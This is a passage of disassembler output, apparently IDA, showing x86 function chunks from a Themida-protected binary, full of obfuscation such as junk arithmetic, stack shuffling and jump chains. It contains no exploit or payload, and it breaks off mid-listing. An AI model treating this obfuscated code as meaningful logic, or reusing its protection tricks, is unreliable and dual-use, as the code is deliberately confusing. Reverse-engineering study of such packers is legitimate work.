--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56B4B6: ; CODE XREF: sub_563A7F+B0C6j pop ecx push esi jmp loc_56C785 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56B4BD: ; CODE XREF: sub_56FB8A-402Aj inc ecx sub ecx, 5676367Fh mov edx, ecx pop ecx add eax, edx pop edx xor eax, [esp+0] jmp loc_5643AB ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_56B4D2: ; CODE XREF: sub_572DD7+118Ej xor edi, 74246D63h push ecx mov ecx, 0EF42A98Ah xor edi, ecx jmp loc_565797 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56B4E5: ; CODE XREF: sub_57354D-C9A2j shl ecx, 1 jmp loc_5717FC ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56B4EC: ; CODE XREF: sub_5713A7+D3Dj add edx, 41364FF5h pop ecx sub esp, 4 jmp loc_56F18F ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56B4FB: ; CODE XREF: sub_561541-13AFj pop ecx mov edx, [esp+0Ch+var_C] add esp, 4 push edi mov edi, 1AA0B7B6h jmp loc_561217 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56B50D: ; CODE XREF: sub_56AEF2-11E1j push [esp+0Ch+var_C] pop eax push eax jmp loc_568DBD ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56B517: ; CODE XREF: sub_565632+FA4j mov edx, [esp-0Ch+arg_8] add esp, 4 xor ecx, 2801673Bh not ecx and ecx, 26BF3AC3h sub ecx, 0A8A1E38Bh and ecx, 7DB157AFh jmp loc_56F3EC ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56B53C: ; CODE XREF: sub_57146D-D279j shl al, 6 jmp loc_56ACEF ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56B544: ; CODE XREF: sub_564D26+528Dj push [esp+14h+var_14] pop eax add esp, 4 push 0ABFh mov [esp+14h+var_14], edx push esp push [esp+18h+var_18] pop edx add esp, 4 add edx, 4 sub esp, 4 mov [esp+18h+var_18], ebp push 327237CAh jmp loc_5635BE ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_56B577 proc near ; CODE XREF: sub_564017+4j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00561BC5 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005651FA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005671D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005691DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B5C9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056E621 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056F718 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00570288 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00572FA8 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ebp push 2DB7h mov [esp+8+var_8], esp push ebp mov ebp, 4 add [esp+0Ch+var_8], ebp pop ebp push [esp+8+var_8] pop ebp jmp loc_572FA8 sub_56B577 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56B599: ; CODE XREF: sub_5638E4+D9Dj shl ebx, 6 jmp loc_5614DA ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56B5A1: ; CODE XREF: sub_56CC46+B9Bj dec ecx sub ecx, 5CF60CEDh push esi mov esi, 0AF5D7F91h push ebx mov ebx, 76B4784Ah jmp loc_5616EA ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56B5B9: ; CODE XREF: sub_56FA44+32FCj push eax mov eax, 780F0948h add eax, 0E95C0ACBh jmp loc_57294B ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_56B5C9: ; CODE XREF: sub_56B577-9992j add ebp, eax jmp loc_5671D0 ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56B5D0: ; CODE XREF: sub_5678CB+247Aj mov ch, bh mov ebx, [esp+4+var_4] add esp, 4 jmp loc_573CC3 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56B5E0: ; CODE XREF: sub_568E5C-1462j sub eax, 40DC6BB8h pop ecx add eax, 4 jmp loc_5688CF ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_56B5EE: ; CODE XREF: sub_5715F0-11353j add ecx, 4 push 30E1h mov [esp-4+arg_0], eax mov eax, 4 sub ecx, eax pop eax xchg ecx, [esp-8+arg_4] pop esp jmp loc_56354B ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- loc_56B60D: ; CODE XREF: Themida_:00567E25j mov [esp], ebx jmp loc_561471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56B615: ; CODE XREF: sub_5685B2-78D6j inc cl xor cl, 0B0h jmp loc_560DAE ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_56B61F: ; CODE XREF: sub_572641+10Aj mov [esp+8+var_8], edx mov dh, 3Fh shl dh, 1 or dh, 0E7h dec dh add dh, 67h or bh, dh pop edx shl bh, 2 dec bh push 2E17h mov [esp+8+var_8], eax push ebx jmp loc_569F11 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBD1 loc_56B644: ; CODE XREF: sub_56DBD1+Fj mov eax, [esp+4+var_4] jmp loc_571415 ; END OF FUNCTION CHUNK FOR sub_56DBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E4D4 loc_56B64C: ; CODE XREF: sub_56E4D4+13j add esp, 4 push edi mov edi, 3BBA696Ch add eax, edi mov edi, [esp+0] add esp, 4 add eax, ebx jmp loc_563AB0 ; END OF FUNCTION CHUNK FOR sub_56E4D4 ; --------------------------------------------------------------------------- loc_56B664: ; CODE XREF: Themida_:00563107j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56262F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_56B67E: ; CODE XREF: sub_569B75-89B4j add eax, esi jmp loc_572EF9 ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_56B685: ; CODE XREF: sub_56EFD2-C98Bj mov edi, esp add edi, 4 sub edi, 4 jmp loc_563A6E ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_56B695: ; CODE XREF: sub_56A608-2398j push edx mov edx, 4499006Dh jmp loc_56ECE9 ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DDC5 loc_56B6A0: ; CODE XREF: sub_56DDC5+9j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56DDC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56B6A5: ; CODE XREF: sub_574F16-56A3j mov ch, bl pop ebx mov bh, ch pop ecx mov eax, [esp+0Ah+var_A] add esp, 4 add bh, 5 mov ch, bh mov ebx, [esp+6+var_6] jmp loc_563532 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_56B6C1: ; CODE XREF: sub_56FCD7+14j pop edi sub edx, 42B40A3Eh add edx, esi add edx, 42B40A3Eh jmp loc_56B1AD ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; =============== S U B R O U T I N E ======================================= sub_56B6D5 proc near ; DATA XREF: Themida_:0055FE54o push dword ptr fs:[edx] jmp loc_55FF9F sub_56B6D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56B6DD: ; CODE XREF: sub_565632+C993j add esp, 4 neg edi push esi mov esi, 2EECE500h jmp loc_5670EE ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56B6ED: ; CODE XREF: sub_5685B2-57A1j pop edx and al, bh jmp loc_574A74 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56B6F5: ; CODE XREF: sub_56AB5E+77B2j mov [esp+8+var_8], ebx mov ebx, 4D5004E8h push ecx push 65D1518Ch jmp loc_56E9BE ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_56B708: ; CODE XREF: sub_569AB3-F6Dj mov ebp, [esp+4+var_4] add esp, 4 xor ecx, 14266CCCh not ecx inc ecx jmp loc_56F591 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; =============== S U B R O U T I N E ======================================= sub_56B71F proc near ; CODE XREF: sub_574DC1-13509j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00563FBE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056589B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567F67 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005683CF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568816 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056A1BE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E38B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056EFDD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F3FE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057257C SIZE 00000013 BYTES push ebx mov ebx, 21FA446Dh push 582Eh jmp loc_57257C sub_56B71F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56B72F: ; CODE XREF: sub_56FA15+2BDFj add eax, 4 add eax, 4 jmp loc_56C0ED ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_56B73C: ; CODE XREF: sub_56BC97-764Dj mov [esp+0], edi mov edi, 4 add edx, edi mov edi, [esp+0] push 47F7h mov [esp+4+var_4], ecx push esp pop ecx jmp loc_565C03 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56B758: ; CODE XREF: sub_56CC46-7625j xchg ebx, [esp+8+var_8] pop esp jmp loc_56123F ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_56B761: ; CODE XREF: sub_5681F5+B272j add eax, 182E3672h add ebx, 105A1AD2h add ebx, eax push 5EDCh mov [esp+4+var_4], ecx mov ecx, 7695672Ah inc ecx shr ecx, 3 neg ecx shl ecx, 8 xor ecx, 3D0901D2h sub ebx, ecx pop ecx pop eax add ebx, eax push 5508h mov [esp+0], eax mov eax, 6D541BE0h shl eax, 5 push ebx jmp loc_565361 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_56B7A6: ; CODE XREF: sub_5680FB+7194j mov [esp+8+var_8], ebp jmp loc_570DA7 ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_56B7AE: ; CODE XREF: sub_5653AD+42BEj add ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_573EB6 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56B7BA: ; CODE XREF: sub_56616D+EEE0j xchg edx, [esp-10h+arg_C] pop esp mov [esp-14h+arg_10], esi mov esi, 76413E9Bh mov edx, esi jmp loc_569D82 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56B7CD: ; CODE XREF: sub_5734A7-696j pop edi add esp, 4 push edx mov edx, 21A70442h shr edx, 3 neg edx jmp loc_56BB11 ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56B7E1: ; CODE XREF: sub_561F05+9B56j mov eax, 88ED87DBh add eax, edx pop edx sub esi, eax jmp loc_571108 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_56B7F0: ; CODE XREF: sub_560EA2+3544j pop ecx add eax, 9846C03h add eax, 78CE67D5h add eax, edx push ebp mov ebp, 0AA2764Fh neg ebp jmp loc_574DF9 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56B80A: ; CODE XREF: sub_57146D+33Fj pop edx sub bl, 48h sub bl, 63h sub bl, 0E3h jmp loc_5641E5 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56B819: ; CODE XREF: sub_563A7F+9447j mov ch, 3Fh add bl, ch pop ecx add bl, al sub bl, 3Fh sub bl, 79h sub bl, 0C3h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0Ah+var_C+2] pop esp mov [esp+6+var_8+2], ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0Ah+var_C+2] pop esp mov [esp+6+var_8+2], ebx push 2BD33A7Dh jmp loc_574C8C ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56B859: ; CODE XREF: sub_574CBE-6181j pop dword ptr [esp+0] mov esp, [esp-4+arg_0] add eax, 2D4849A7h push esi mov esi, 4C3F2257h shr esi, 3 xor esi, 71E3914h dec esi jmp loc_563E57 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_56B879: ; CODE XREF: sub_56241E-2E0j mov dx, ax jmp loc_562BF0 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_56B881: ; CODE XREF: sub_57109F-3ABEj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp push ebp push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp+10h+var_10] pop esp push esp pop [esp+10h+var_10] add [esp+0Ch+var_C], 4 push [esp+0Ch+var_C] mov ebp, [esp+10h+var_10] add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+10h+var_10] jmp loc_5601A2 ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_56B8D8: ; CODE XREF: sub_5648C6+512Ej sub esi, 3485407Dh push ecx mov ecx, 7FD927D2h sub edi, ecx jmp loc_570C42 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56B8EB: ; CODE XREF: sub_570732-7657j xor ebp, [esp+0] mov esp, [esp+0] push 1EFCh jmp loc_56D5E6 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_56B8FB: ; CODE XREF: sub_567866+9B03j push edi push eax mov eax, 5F067FEh jmp loc_563A59 ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_56B907: ; CODE XREF: sub_5680FB-2679j add ebx, 4 xchg ebx, [esp+14h+var_14] pop esp add eax, esi add eax, 586952BAh pop esi add eax, 4 xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_568159 ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_56B924: ; CODE XREF: sub_56E0B0-DAF9j push 310Bh mov [esp+0Ch+var_C], edx mov edx, 37E753A5h jmp loc_560945 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56B936: ; CODE XREF: sub_568764-4E24j add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov ebx, [esp+4+var_4] push ecx mov ecx, esp add ecx, 4 jmp loc_56FDB2 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_56B96A: ; CODE XREF: sub_56AB51+98F8j add esp, 4 jmp loc_57540C ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_56B972: ; CODE XREF: sub_56A7FB-1F53j xor ch, 24h sub al, ch pop ecx mov bx, [esp+0] add esp, 2 jmp sub_571F6F ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573B49 loc_56B984: ; CODE XREF: sub_573B49-DA37j pop ebx xchg eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] or [esp-4+arg_0], eax pushf jmp loc_564DA9 ; END OF FUNCTION CHUNK FOR sub_573B49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_56B994: ; CODE XREF: sub_569DB5-4D3j push ecx mov ecx, 0B9B035Dh sub edx, ecx pop ecx shl edx, 8 add edx, 46590843h xor esi, edx pop edx push edi push edx mov edx, 16131EDCh mov edi, edx pop edx add ecx, edi pop edi add ecx, esi sub ecx, 16131EDCh pop esi push 6AA1h mov [esp+4+var_4], ecx push dword ptr [esp+4] jmp loc_5644D0 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56B9D0: ; CODE XREF: sub_56FA15-60EAj mov edi, esp add edi, 4 push ebx jmp loc_56F4E8 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_56B9DE: ; CODE XREF: sub_5671E1+6632j push esi inc [esp+0Ch+var_C] pop esi add esi, 0FD425994h push edx mov edx, 4B1E54C6h push 7BB1h mov [esp+10h+var_10], ecx mov ecx, 520F2D63h or edx, ecx mov ecx, [esp+10h+var_10] jmp loc_57380D ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560457 loc_56BA06: ; CODE XREF: sub_560457+1j mov ebp, 4 add ebx, ebp jmp loc_57448D ; END OF FUNCTION CHUNK FOR sub_560457 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_56BA12: ; CODE XREF: sub_571289-E9A6j push edx mov edx, 1B13288Eh jmp sub_5642C7 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- loc_56BA1D: ; CODE XREF: Themida_:00565F07j add [esp], eax add dword ptr [esp], 606B569Eh add dword ptr [esp], 528D7AF7h jmp loc_569788 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ACDE loc_56BA33: ; CODE XREF: sub_56ACDE-38A1j pop eax xchg edx, edi inc edx xor edi, edx xor edx, edi jmp loc_573E25 ; END OF FUNCTION CHUNK FOR sub_56ACDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56BA40: ; CODE XREF: sub_570FB7+601j push [esp+0Ch+var_C] pop ebx jmp loc_56571C ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56BA49: ; CODE XREF: sub_5638E4+11B23j sub edi, 3B7B7B97h add edi, edx jmp loc_56F93F ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_56BA56: ; CODE XREF: sub_561F05+F585j mov edx, 7BB6568Eh jmp loc_56B7E1 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- loc_56BA60: ; CODE XREF: Themida_:00574D0Fj sub ecx, 60E827DCh add ecx, ebp push edx mov edx, 60E827DCh add ecx, 6A720509h add ecx, edx sub ecx, 6A720509h pop edx sub ecx, 1F265C09h pop ebp push 6159h mov [esp], eax jmp loc_56719D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56BA91: ; CODE XREF: sub_572075-8438j sub ebp, 59F02FE2h push edx mov edx, 3B4C0164h or edx, 7536424Fh add edx, 900D1510h add ebp, 5B153BBAh sub ebp, 62C863F8h add ebp, edx add ebp, 62C863F8h sub ebp, 5B153BBAh pop edx sub esp, 4 mov [esp+8+var_8], eax mov eax, 0C2A486Fh neg eax sub eax, 0A7269978h sub ebp, 0D760011h add ebp, eax add ebp, 0D760011h pop eax pop eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] jmp loc_56AD76 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_56BAFC: ; CODE XREF: sub_571890-93EFj mov ecx, 4 add ebx, ecx jmp loc_56322B ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56BB08: ; CODE XREF: sub_571F6F-AD6Bj add esp, 4 push edx jmp loc_56F0E2 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56BB11: ; CODE XREF: sub_5734A7-7CCBj not edx shl edx, 2 dec edx xor edx, 328C8647h sub esi, edx pop edx add esi, 42D40F6h add esi, 48816C72h jmp loc_56F816 ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- loc_56BB31: ; CODE XREF: Themida_:0057043Dj neg ebp sub ebp, 0FBD2DD81h mov eax, ebp pop ebp mov ebp, eax mov eax, [esp] add esp, 4 push ebx jmp loc_567304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56BB4A: ; CODE XREF: sub_561027+FA06j add edx, edi push ebp mov ebp, 174A2ABDh sub edx, ebp jmp loc_570567 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56BB59: ; CODE XREF: sub_56FB8A+4A40j push edx push ecx mov ecx, 56763682h jmp loc_56B4BD ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_56BB65: ; CODE XREF: sub_5648C6-390Cj push esi jmp loc_5699E1 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5662F9 loc_56BB6B: ; CODE XREF: sub_5662F9+8BE9j mov [esp+10h+var_10], edi mov edi, 5F2279CAh xor edi, 28644B6Bh push ebx mov ebx, 59E30823h sub edi, ebx pop ebx neg edi shl edi, 8 shr edi, 3 xor edi, 139AB044h add esi, edi pop edi jmp loc_56E645 ; END OF FUNCTION CHUNK FOR sub_5662F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56BB98: ; CODE XREF: sub_56616D+E6F3j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-14h+arg_10] jmp loc_57474B ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56BBAB: ; CODE XREF: sub_561418+4983j mov [esp+1Ch+var_1C], edx jmp loc_560CE1 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56BBB3: ; CODE XREF: sub_57354D-5F85j xor edx, edi pop edi add eax, edx pop edx add eax, 4 xchg eax, [esp+4+var_4] jmp loc_56047D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56BBC6: ; CODE XREF: sub_565632+CF65j mov edx, [esp-10h+arg_C] add esp, 4 not edx push edx not [esp-10h+arg_C] pop edx dec edx xor edx, 68F67B6Fh mov ecx, edx pop edx push esi jmp loc_56C52E ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56208F loc_56BBE3: ; CODE XREF: sub_56208F+7E31j push dword ptr [esp+4] push [esp+8+var_8] pop esi add esp, 4 pop [esp+4+var_4] pop esp jmp loc_573C94 ; END OF FUNCTION CHUNK FOR sub_56208F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574503 loc_56BBFA: ; CODE XREF: sub_574503-5492j pop esp mov [esp+0], edi push 5FBEh mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop edi push 3D09h jmp loc_56790A ; END OF FUNCTION CHUNK FOR sub_574503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562BA0 loc_56BC18: ; CODE XREF: sub_562BA0+97D3j push esp mov edx, [esp+4+var_4] add esp, 4 add edx, 4 jmp loc_564F40 ; END OF FUNCTION CHUNK FOR sub_562BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56BC2D: ; CODE XREF: sub_56FB8A-5D74j add ebx, 3E527632h sub ebx, edi sub ebx, 3E527632h push ebp mov ebp, 25B47842h shl ebp, 1 add ebp, 43083F8Dh shl ebp, 4 shl ebp, 1 push edi mov edi, 27F76C67h or edi, 4E731F82h neg edi jmp loc_568CC5 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_56BC61: ; CODE XREF: sub_567C58-473Fj add eax, 2 xor eax, [esp+8+var_8] xor [esp+8+var_8], eax jmp loc_566019 ; END OF FUNCTION CHUNK FOR sub_567C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56BC6F: ; CODE XREF: sub_5678CB+AC78j push edx mov edx, 966832h inc edx shr edx, 8 shr edx, 2 jmp loc_5747E2 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56BC81: ; CODE XREF: sub_57146D-FAF9j push 12C3h mov [esp+0Ah+var_C+2], ebx push esi mov esi, esp add esi, 4 jmp loc_564B37 ; END OF FUNCTION CHUNK FOR sub_57146D ; =============== S U B R O U T I N E ======================================= sub_56BC97 proc near ; DATA XREF: Themida_:0055FDBCo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00562143 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005630ED SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564646 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565C03 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056894C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005696AF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A3A9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B152 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B73C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056CD39 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00570066 